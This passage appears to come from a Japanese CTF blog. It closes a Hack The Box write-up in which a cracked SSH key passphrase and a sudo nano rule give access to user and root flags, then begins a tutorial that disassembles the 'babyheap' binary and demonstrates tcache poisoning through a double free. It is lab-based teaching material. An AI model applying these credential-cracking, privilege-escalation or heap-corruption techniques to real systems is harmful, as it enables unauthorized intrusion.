Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (joanna.id_rsa)
Warning: Only 1 candidates left, minimum 2 needed for performance.
1g 0:00:00:07 DONE (2020-02-28 16:50) 0.1336g/s 1917Kp/s 1917Kc/s 1917KC/s *7¡Vamos!
Session completed

Success: bloodninjas

joannaでログイン。

root@kali-linux:~/sandbox# ssh -i joanna.id_rsa joanna@10.10.10.171
Enter passphrase for key 'joanna.id_rsa': bloodninjas
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Feb 28 08:00:17 UTC 2020

  System load:  0.08              Processes:             155
  Usage of /:   49.9% of 7.81GB   Users logged in:       2
  Memory usage: 32%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Feb 28 07:35:05 2020 from 10.10.15.122
joanna@openadmin:~$ 

ホームディレクトリにuser.txtを発見。

joanna@openadmin:~$ ls
user.txt
joanna@openadmin:~$ cat user.txt 
c9b2cf07d40807e62af626xxxxxxxxxx

joannaの情報をみる

joanna@openadmin:~$ id
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)

sudoの確認。

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

お、/opt/privに対してのみroot権限でnanoが開けるようだ。

sudo /bin/nano /opt/priv

開いた後にCtrl + R/root/root.txtを閲覧してみる。 f:id:kyonta1022:20200514222420p:plain

2f907ed450b361b2c2bf4exxxxxxxxxx

終わり。

バイナリアン入門 第五回(x64, Linux)

はじめに

babyheapと言うバイナリのウォークスルーに近いが、one_gadgetを利用した攻撃手法としては、glibc-2.27のダブルフリーのチェック不足を利用したTCache Poisoningによる攻撃が応用編として良さそうなので、これを扱ってみる。

セキュリティ機構を確認してみる

まずはお馴染み、バイナリのセキュリティ機構を確認する。

# checksec babyheap 
[*] '/sandbox/pwn/2_babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

全て有効になっている。個々の意味については他サイトに譲る。

アセンブラを解読する

早速、babyheapのバイナリを解析してみる。毎回お馴染みのRadare2を利用する。

# r2 -d babyheap 
[0x00000870]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00000870]> afl
0x00000870    1 42           entry0
0x000008a0    4 50   -> 40   sym.deregister_tm_clones
0x000008e0    4 66   -> 57   sym.register_tm_clones
0x00000930    5 58   -> 51   entry.fini0
0x00000970    1 10           entry.init0
0x00000a75    6 113          sym.getnline
0x00000a59    1 28           sym.menu
0x00000820    1 6            sym.imp.printf
0x00000ae6    3 74           sym.getint
0x00000850    1 6            sym.imp.atoi
0x000007f0    1 6            sym.imp.__stack_chk_fail
0x00000ba0    1 2            sym.__libc_csu_fini
0x00000ba4    1 9            sym._fini
0x0000097a    1 51           entry.init1
0x00000800    1 6            sym.imp.setbuf
0x00000b30    4 101          sym.__libc_csu_init
0x000009ad   12 172          main
0x000007a0    3 23           sym._init
0x000007d0    1 6            sym.imp.free
0x000007e0    1 6            sym.imp.puts
0x00000810    1 6            sym.imp.strchr
0x00000830    1 6            sym.imp.read
0x00000000    3 97   -> 123  loc.imp._ITM_deregisterTMCloneTable
0x00000840    1 6            sym.imp.malloc
[0x00000870]> s main
[0x000009ad]> pdf
            ; DATA XREF from entry0 @ 0x88d
/ 172: int main (int argc, char **argv, char **envp);
|           ; var uint32_t var_ch @ rbp-0xc
|           ; var void *ptr @ rbp-0x8
|           0x000009ad      55             push rbp
|           0x000009ae      4889e5         mov rbp, rsp
|           0x000009b1      4883ec10       sub rsp, 0x10
|           0x000009b5      488b05741620.  mov rax, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5
|                                                                      ; [0x202030:8]=0
|           0x000009bc      4889c6         mov rsi, rax
|           0x000009bf      488d3df20100.  lea rdi, str.Welcome_to_babyheap_challenge___Present_for_you___________p ; 0xbb8 ; "Welcome to babyheap challenge!\nPresent for you!!\n>>>>> %p <<<<<\n" ; const char *format
|           0x000009c6      b800000000     mov eax, 0
|           0x000009cb      e850feffff     call sym.imp.printf         ; int printf(const char *format)
|       ,=< 0x000009d0      eb72           jmp 0xa44
|       |   ; CODE XREF from main @ 0xa50
|      .--> 0x000009d2      8b45f4         mov eax, dword [var_ch]
|      :|   0x000009d5      83f802         cmp eax, 2
|     ,===< 0x000009d8      7453           je 0xa2d
|     |:|   0x000009da      83f803         cmp eax, 3
|    ,====< 0x000009dd      745c           je 0xa3b
|    ||:|   0x000009df      83f801         cmp eax, 1
|   ,=====< 0x000009e2      7402           je 0x9e6
|  ,======< 0x000009e4      eb5e           jmp 0xa44
|  ||||:|   ; CODE XREF from main @ 0x9e2
|  |`-----> 0x000009e6      48837df800     cmp qword [ptr], 0
|  |,=====< 0x000009eb      740e           je 0x9fb
|  ||||:|   0x000009ed      488d3d050200.  lea rdi, str.No_Space       ; 0xbf9 ; "No Space!!" ; const char *s
|  ||||:|   0x000009f4      e8e7fdffff     call sym.imp.puts           ; int puts(const char *s)
| ,=======< 0x000009f9      eb49           jmp 0xa44
| |||||:|   ; CODE XREF from main @ 0x9eb
| ||`-----> 0x000009fb      bf30000000     mov edi, 0x30               ; '0' ; size_t size
| || ||:|   0x00000a00      e83bfeffff     call sym.imp.malloc         ;  void *malloc(size_t size)
| || ||:|   0x00000a05      488945f8       mov qword [ptr], rax
| || ||:|   0x00000a09      488d3df40100.  lea rdi, str.Input_Content: ; 0xc04 ; "Input Content: " ; const char *format
| || ||:|   0x00000a10      b800000000     mov eax, 0
| || ||:|   0x00000a15      e806feffff     call sym.imp.printf         ; int printf(const char *format)
| || ||:|   0x00000a1a      488b45f8       mov rax, qword [ptr]
| || ||:|   0x00000a1e      be30000000     mov esi, 0x30               ; '0'
| || ||:|   0x00000a23      4889c7         mov rdi, rax
| || ||:|   0x00000a26      e84a000000     call sym.getnline
| ||,=====< 0x00000a2b      eb17           jmp 0xa44
| |||||:|   ; CODE XREF from main @ 0x9d8
| ||||`---> 0x00000a2d      488b45f8       mov rax, qword [ptr]
| |||| :|   0x00000a31      4889c7         mov rdi, rax                ; void *ptr
| |||| :|   0x00000a34      e897fdffff     call sym.imp.free           ; void free(void *ptr)
| ||||,===< 0x00000a39      eb09           jmp 0xa44
| |||||:|   ; CODE XREF from main @ 0x9dd
| |||`----> 0x00000a3b      48c745f80000.  mov qword [ptr], 0
| ||| |:|   0x00000a43      90             nop
| ||| |:|   ; CODE XREFS from main @ 0x9d0, 0x9e4, 0x9f9, 0xa2b, 0xa39
| ```-`-`-> 0x00000a44      e810000000     call sym.menu
|      :    0x00000a49      8945f4         mov dword [var_ch], eax
|      :    0x00000a4c      837df400       cmp dword [var_ch], 0
|      `==< 0x00000a50      7580           jne 0x9d2
|           0x00000a52      b800000000     mov eax, 0
|           0x00000a57      c9             leave
\           0x00000a58      c3             ret

コード自体は短いが分岐が多い。それぞれブロック毎に解析してみる。

Function prologue

お決まりの関数の最初で実行する命令。
関数内でスタックを扱う際の基準となるアドレスをスタックのトップのアドレスと同じにする。

push rbp
mov rbp, rsp

関数内で利用するスタックを16バイト確保する。

sub rsp, 0x10

Welcomeメッセージ表示

glibcstdin関数のアドレスをraxに格納する。

mov rax, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5

Welcomeメッセージとstdin関数のアドレスを出力する。
第一引数となるrdiには、フォーマットとなる文字列のアドレスを格納。
第二引数となるesiには、raxに格納されているstdin関数のアドレスを格納。
mov eax, 0命令に関しては、ベクトルレジスタ浮動小数点)を必要とする場合にその数を設定する必要があるが、今回は整数型なので0を設定している(詳細は以前の記事を参照)

mov rsi, rax
lea rdi, str.Welcome_to_babyheap_challenge___Present_for_you___________p ; 0xbb8 ; "Welcome to babyheap challenge!\nPresent for you!!\n>>>>> %p <<<<<\n" ; const char *format
mov eax, 0
call sym.imp.printf         ; int printf(const char *format)

この命令が実行されると以下のメッセージが標準出力に表示される。 stdin関数のアドレスもリークしており、後程glibcのベースアドレスを求める際に利用する(ASLRにより実行時にアドレスが決まるため)

Welcome to babyheap challenge!
Present for you!!
>>>>> 0x7f87e2532a00 <<<<<
hit breakpoint at: 562bd86a2a44

メニュー表示

次の命令ではjmp命令で0xa44に移動しsym.menuをcallしている。
sym.menuの中身は割愛しているが、標準出力にメニューの選択画面を表示している。

jmp 0xa44
...(省略)
call sym.menu

sys.menuを実行すると以下の内容が標準出力に表示される。

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 

メニュー画面で0-3の値を入力するとvar_ch(rbp-0xc)に格納され、値が0の場合は処理を終了し、それ以外の場合は0x9d2に移動する。

mov dword [var_ch], eax
cmp dword [var_ch], 0
jne 0x9d2
mov eax, 0
leave
ret

分岐

0x9d2に移動したあとは、入力された値に応じたアドレスに移動する。
2Deleteだったら0xa2dアドレスへ。
3Wipeだったら0xa3bアドレスへ。
1Allocだったら0x9e6アドレスへ。
それ以外ならsym.menuへ移動する。

mov eax, dword [var_ch]
cmp eax, 2
je 0xa2d
cmp eax, 3
je 0xa3b
cmp eax, 1
je 0x9e6
jmp 0xa44

1.Allocの処理

Alloc(1)が入力された場合、最初にptr(rbp-0x8)の値が0であるかを確認する。
0の場合は0x9fbに移動し、違う場合はputsで標準出力にメッセージを表示する。

cmp qword [ptr], 0
je 0x9fb
lea rdi, str.No_Space       ; 0xbf9 ; "No Space!!" ; const char *s
call sym.imp.puts           ; int puts(const char *s)
jmp 0xa44

0x9fbからの命令では、mallocをcallしてヒープ領域に確保しているプールからチャンクを確保する。 第一引数となるediに、確保するサイズ48バイトを指定してmallocをcallすると、raxには確保したチャンクのアドレスが返ってくるので、ptr(rbp-0x8)にアドレスを格納する。

mov edi, 0x30               ; '0' ; size_t size
call sym.imp.malloc         ;  void *malloc(size_t size)
mov qword [ptr], rax

その後、確保したチャンクに格納する文字列の入力を促すメッセージを表示する。

lea rdi, str.Input_Content: ; 0xc04 ; "Input Content: " ; const char *format
mov eax, 0
call sym.imp.printf         ; int printf(const char *format)

最後にgetnlineをcallして文字列の入力をさせる。
第一引数となるrdiにはチャンクのアドレスを指定し、第二引数となるesiにはサイズ48を指定する。
getline man:https://linuxjm.osdn.jp/html/LDP_man-pages/man3/getline.3.html

終わったらメニューに移動する。

mov rax, qword [ptr]
mov esi, 0x30               ; '0'
mov rdi, rax
call sym.getnline
jmp 0xa44

2.Deleteの処理

Delete(2)が入力された場合、mallocで確保した領域をfreeで解放する。
第一引数となるrdiにチャンクのアドレスptr(rbp-0x8)を格納してfreeをcall
終わったらメニューに移動する。

ここで気にしときたいのは、コード的には同じチャンクアドレスに対して何回でもDeleteを実行することが可能。

mov rax, qword [ptr]
mov rdi, rax                ; void *ptr
call sym.imp.free           ; void free(void *ptr)
jmp 0xa44

3.Wipeの処理

Wipe(3)が入力された場合、mallocで確保したチャンクのアドレスを消去(0)する。
終わったらnop命令を実行後メニューに移動する。

mov qword [ptr], 0
nop

以上で、アセンブラの解読は完了。

malloc/freeの基礎知識

ヒープ問題攻略の前に、そもそもmallocfreeを実行した際にどのような挙動をするのかを理解する必要があるため、基礎の基礎を身に付けとく。 mallocは、sbrkシステムコールにより拡張されたヒープ領域のプールから、チャンクという単位で領域を確保する。
freeは、確保したチャンクを解放して再利用できるようにしているが、libc-2.26以降ではtcacheというキャッシュに繋げてメモリ確保時の高速化を図っている(libc-2.26より前はfastbinというキャッシュで管理)

正直ここら辺の理解はふんわりなので、以下のサイトなどで改めて理解を深める必要がありそう。

座学は上で深めるとして、実際のメモリを見ながら解放されるチャンクが内部でどのように管理されているかを確認してみる。

a = malloc(4);
b = malloc(4);

free(a);
free(b);

上記サンプルコードをアセンブラにしたものがこれ。

# r2 -d a.out 

Process with PID 114 started...
= attach 114 114
bin.baddr 0x56132ba4b000
Using 0x56132ba4b000
asm.bits 64
Warning: r_bin_file_hash: file exceeds bin.hashlimit
 -- Sharing your latest session to Facebook ...

[0x7effe9fef090]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[TOFIX: aaft can't run in debugger mode.ions (aaft)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x7effe9fef090]> s main

[0x56132ba4b68a]> pdf
            ; DATA XREF from entry0 @ 0x56132ba4b59d
/ 67: int main (int argc, char **argv, char **envp);
|           ; var int64_t var_10h @ rbp-0x10
|           ; var int64_t var_8h @ rbp-0x8
|           0x56132ba4b68a      55             push rbp
|           0x56132ba4b68b      4889e5         mov rbp, rsp
|           0x56132ba4b68e      4883ec10       sub rsp, 0x10
|           0x56132ba4b692      bf04000000     mov edi, 4
|           0x56132ba4b697      e8c4feffff     call sym.imp.malloc     ;  void *malloc(size_t size)
|           0x56132ba4b69c      488945f0       mov qword [var_10h], rax
|           0x56132ba4b6a0      bf04000000     mov edi, 4
|           0x56132ba4b6a5      e8b6feffff     call sym.imp.malloc     ;  void *malloc(size_t size)
|           0x56132ba4b6aa      488945f8       mov qword [var_8h], rax
|           0x56132ba4b6ae      488b45f0       mov rax, qword [var_10h]
|           0x56132ba4b6b2      4889c7         mov rdi, rax
|           0x56132ba4b6b5      e896feffff     call sym.imp.free       ; void free(void *ptr)
|           0x56132ba4b6ba      488b45f8       mov rax, qword [var_8h]
|           0x56132ba4b6be      4889c7         mov rdi, rax
|           0x56132ba4b6c1      e88afeffff     call sym.imp.free       ; void free(void *ptr)
|           0x56132ba4b6c6      b800000000     mov eax, 0
|           0x56132ba4b6cb      c9             leave
\           0x56132ba4b6cc      c3             ret

[0x56132ba4b68a]> db 0x56132ba4b69c
[0x56132ba4b68a]> db 0x56132ba4b6aa
[0x56132ba4b68a]> db 0x56132ba4b6ba
[0x56132ba4b68a]> db 0x56132ba4b6c6

ブレークポイント毎にメモリを確認してみる。

[0x56132ba4b68a]> dc
hit breakpoint at: 56132ba4b69c

0x56132ba4b697sym.imp.mallocを実行すると、アドレス0x56132ca7e25032(0x20)バイトのチャンクが確保された。 Top chunkの右に表示されている0x56132ca7e000, brk_end: 0x56132ca9f000は、sbrkシステムコールで拡張されたヒープ領域を表している。

[0x56132ba4b69c]> dmh

  Malloc chunk @ 0x56132ca7e250 [size: 0x20][allocated]
  Top chunk @ 0x56132ca7e270 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]

chunkの管理部であるmalloc_chunk構造体(参考)を確認してみる。
size=32(0x20)で、flagsはPREV_INUSE1になっている。
flagsの意味は以下のようだが、Radare2で観察してきた結果、変化するところが見られ無かったこともあり理解不足。

  • [N]ON_MAIN_ARENA
  • IS_[M]APPED
  • [P]REV_INUSE
[0x56132ba4b69c]> dmhc @0x56132ca7e250
struct malloc_chunk @ 0x56132ca7e250 {
  prev_size = 0x0,
  size = 0x20,
  flags: |N:0 |M:0 |P:1,
  fd = 0x0,
  bk = 0x0,
}
chunk data = 
0x56132ca7e260  0x0000000000000000  0x0000000000000000   ................

二度目のmalloc後の挙動を確認する。

[0x56132ba4b69c]> dc
hit breakpoint at: 56132ba4b6aa

最初と同様に0x56132ca7e27032バイトのチャンクが確保された。
Top chunkはチャンクを確保する度にbrk_endに向けてズレており、Top chunkが持っているsize自体も減少している。

[0x56132ba4b6aa]> dmh

  Malloc chunk @ 0x56132ca7e250 [size: 0x20][allocated]
  Malloc chunk @ 0x56132ca7e270 [size: 0x20][allocated]
  Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]

[0x56132ba4b6aa]> dmhc @0x56132ca7e270
struct malloc_chunk @ 0x56132ca7e270 {
  prev_size = 0x0,
  size = 0x20,
  flags: |N:0 |M:0 |P:1,
  fd = 0x0,
  bk = 0x0,
}
chunk data = 
0x56132ca7e280  0x0000000000000000  0x0000000000000000   ................

最初に確保したチャンクをfreeで解放してみる。

[0x56132ba4b6aa]> dc
hit breakpoint at: 56132ba4b6ba

0x56132ca7e250のチャンク状態がfreeに変化した(補足:freeの時点でチャンク内の値は消える)

[0x56132ba4b6ba]> dmh

  Malloc chunk @ 0x56132ca7e250 [size: 0x20][free]
  Malloc chunk @ 0x56132ca7e270 [size: 0x20][allocated]
  Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]

そしてTcacheには解放されたチャンク0x56132ca7e250が連結された。

[0x56132ba4b6ba]> dmht
Tcache main arena @ 0x7effe9fe8c40
bin : 0, items : 1, fd :0x56132ca7e250

ちなみに、Tcacheの先頭アドレスが何処で管理されているのか調べて見ると、sbrkで拡張された領域の最初の方で管理されていた。
0x56132ca7e050アドレスの60e2 a72c 1356 (56132c7a2e60:リトルエンディアン)の部分。

[0x56132ba4b6ba]> x @0x56132ca7e000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x56132ca7e000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x56132ca7e010  0100 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e050  60e2 a72c 1356 0000 0000 0000 0000 0000  `..,.V..........
0x56132ca7e060  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

二つ目のチャンクも解放する。

[0x56132ba4b6ba]> dc
hit breakpoint at: 56132ba4b6c6

先程と同様に0x56132ca7e270の状態がfreeになった。

[0x56132ba4b6c6]> dmh

  Malloc chunk @ 0x56132ca7e250 [size: 0x20][free]
  Malloc chunk @ 0x56132ca7e270 [size: 0x20][free]
  Top chunk @ 0x56132ca7e290 - [brk_start: 0x56132ca7e000, brk_end: 0x56132ca9f000]

Tcacheのフリーリストを見てみると0x56132ca7e270->0x56132ca7e250のように繋がっており、先頭には今回解放したチャンクが連結された。

[0x56132ba4b6c6]> dmht
Tcache main arena @ 0x7effe9fe8c40
bin : 0, items : 2, fd :0x56132ca7e270->0x56132ca7e250

チャンクの中身を確認すると、Tcacheの先頭に繋がったチャンクのfdには、次のフリーチャンクのアドレスが格納されていた。
最後のフリーチャンクのfdはヌル。

[0x56132ba4b6c6]> dmhc @0x56132ca7e270
struct malloc_chunk @ 0x56132ca7e270 {
  prev_size = 0x0,
  size = 0x20,
  flags: |N:0 |M:0 |P:1,
  fd = 0x56132ca7e260,
  bk = 0x0,
}
chunk data = 
0x56132ca7e280  0x000056132ca7e260  0x0000000000000000   `..,.V..........

[0x56132ba4b6c6]> dmhc @0x56132ca7e250
struct malloc_chunk @ 0x56132ca7e250 {
  prev_size = 0x0,
  size = 0x20,
  flags: |N:0 |M:0 |P:1,
  fd = 0x0,
  bk = 0x0,
}
chunk data = 
0x56132ca7e260  0x0000000000000000  0x0000000000000000   ................

同様にTcacheの先頭アドレスも更新される。

[0x56132ba4b6c6]> x @0x56132ca7e000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x56132ca7e000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x56132ca7e010  0200 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e050  80e2 a72c 1356 0000 0000 0000 0000 0000  ...,.V..........
0x56132ca7e060  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x56132ca7e0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

というように、Radare2で実際にメモリを覗いてみるとより理解が深まる(気がする)

TCache Poisoning

とは?

TCache Poisoningを一言で表すのは難しいが、循環参照により無限にループするlinked listを故意に発生させ、任意のアドレスをTcacheのフリーリストに連結させるような攻撃方法のこと。

tcache_attack-zhが詳しい。

検証

ここまでで、malloc/freeの基礎は理解できたので、ダブルフリーによるTCache Poisoningでは、Tcacheがどのように汚染されていくのかをRadare2で覗きながら理解してみる。

最初はmallocでチャンクを確保する。

[0x555deead1a44]> dmh

  Malloc chunk @ 0x555def88c250 [size: 0x40][allocated]
  Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]

確保したチャンクにはtestを詰めている。

[0x555deead1a44]> dmhc @0x555def88c250
struct malloc_chunk @ 0x555def88c250 {
  prev_size = 0x0,
  size = 0x40,
  flags: |N:0 |M:0 |P:1,
  fd = 0x74736574,
  bk = 0x0,
}
chunk data = 
0x555def88c260  0x0000000074736574  0x0000000000000000   test............
0x555def88c270  0x0000000000000000  0x0000000000000000   ................
0x555def88c280  0x0000000000000000  0x0000000000000000   ................

確保したチャンクをfreeで解放すると、チャンクの状態はfreeに変わり中身が無くなる。

[0x555deead1a44]> dmh

  Malloc chunk @ 0x555def88c250 [size: 0x40][free]
  Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]

[0x555deead1a44]> dmhc @0x555def88c250
struct malloc_chunk @ 0x555def88c250 {
  prev_size = 0x0,
  size = 0x40,
  flags: |N:0 |M:0 |P:1,
  fd = 0x0,
  bk = 0x0,
}
chunk data = 
0x555def88c260  0x0000000000000000  0x0000000000000000   ................
0x555def88c270  0x0000000000000000  0x0000000000000000   ................
0x555def88c280  0x0000000000000000  0x0000000000000000   ................

そしてTcacheには解放したチャンクが連結される。

[0x555deead1a44]> dmht
Tcache main arena @ 0x7f9469476c40
bin : 2, items : 1, fd :0x555def88c250

解放しているチャンクは一つなので、Tcacheの先頭アドレスは0x555def88c250となっている。

[0x555deead1a44]> x @0x555def88c000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x555def88c000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x555def88c010  0000 0100 0000 0000 0000 0000 0000 0000  ................
0x555def88c020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c050  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c060  60c2 88ef 5d55 0000 0000 0000 0000 0000  `...]U..........
0x555def88c070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

次に、先程解放したチャンク0x555def88c250を再度freeする。

[0x555deead1a44]> dmh

  Malloc chunk @ 0x555def88c250 [size: 0x40][free]
  Top chunk @ 0x555def88c290 - [brk_start: 0x555def88c000, brk_end: 0x555def8ad000]

すると、Tcacheには同じチャンクのアドレス0x555def88c250が二つ連結される。

[0x555deead1a44]> dmht
Tcache main arena @ 0x7f9469476c40
bin : 2, items : 2, fd :0x555def88c250->0x555def88c250

0x555def88c250malloc_chunkを確認すると、fdには次のチャンクを指す0x555def88c260(自分自身)が格納されている。
これは、二度目のfreeのタイミングで、Tcacheの先頭につなげるチャンクのfdには以前先頭だったチャンクのアドレス0x555def88c260を格納するため、自分自身のチャンクの次は自分自身・・・と循環参照が出来上がっている。

[0x555deead1a44]> dmhc @0x555def88c250
struct malloc_chunk @ 0x555def88c250 {
  prev_size = 0x0,
  size = 0x40,
  flags: |N:0 |M:0 |P:1,
  fd = 0x555def88c260,
  bk = 0x0,
}
chunk data = 
0x555def88c260  0x0000555def88c260  0x0000000000000000   `...]U..........
0x555def88c270  0x0000000000000000  0x0000000000000000   ................
0x555def88c280  0x0000000000000000  0x0000000000000000   ................

循環参照になったが、Tcacheの先頭アドレスは特に変わらない。

[0x555deead1a44]> x @0x555def88c000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x555def88c000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x555def88c010  0000 0200 0000 0000 0000 0000 0000 0000  ................
0x555def88c020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c050  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c060  60c2 88ef 5d55 0000 0000 0000 0000 0000  `...]U..........
0x555def88c070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0c0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0d0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0e0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0f0  0000 0000 0000 0000 0000 0000 0000 0000  ................

Tcacheが循環参照になっている状態でmallocするとTcacheから0x555def88c250のチャンクが一つ取り出される。

[0x555deead1a44]> dmht
Tcache main arena @ 0x7f9469476c40
bin : 2, items : 1, fd :0x555def88c250

取り出されたチャンクに文字列write(本来は任意のアドレス)を書き込むと、今尚Tcacheに繋がっている0x555def88c250fdにも同じ値が格納される。同じアドレスを共有してるので当然の結果ではあるが。
んで、これがどのような結果を産むかと言うと、この状態になることでTcache0x555def88c250 -> write(本来は任意のアドレス)と言うフリーリストに汚染される事になる。

[0x555deead1a44]> dmhc @0x555def88c250
struct malloc_chunk @ 0x555def88c250 {
  prev_size = 0x0,
  size = 0x40,
  flags: |N:0 |M:0 |P:1,
  fd = 0x6574697277,
  bk = 0x0,
}
chunk data = 
0x555def88c260  0x0000006574697277  0x0000000000000000   write...........
0x555def88c270  0x0000000000000000  0x0000000000000000   ................
0x555def88c280  0x0000000000000000  0x0000000000000000   ................

[0x555deead1a44]> x @0x555def88c000
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x555def88c000  0000 0000 0000 0000 5102 0000 0000 0000  ........Q.......
0x555def88c010  0000 0100 0000 0000 0000 0000 0000 0000  ................
0x555def88c020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c050  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c060  60c2 88ef 5d55 0000 0000 0000 0000 0000  `...]U..........
0x555def88c070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x555def88c0b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
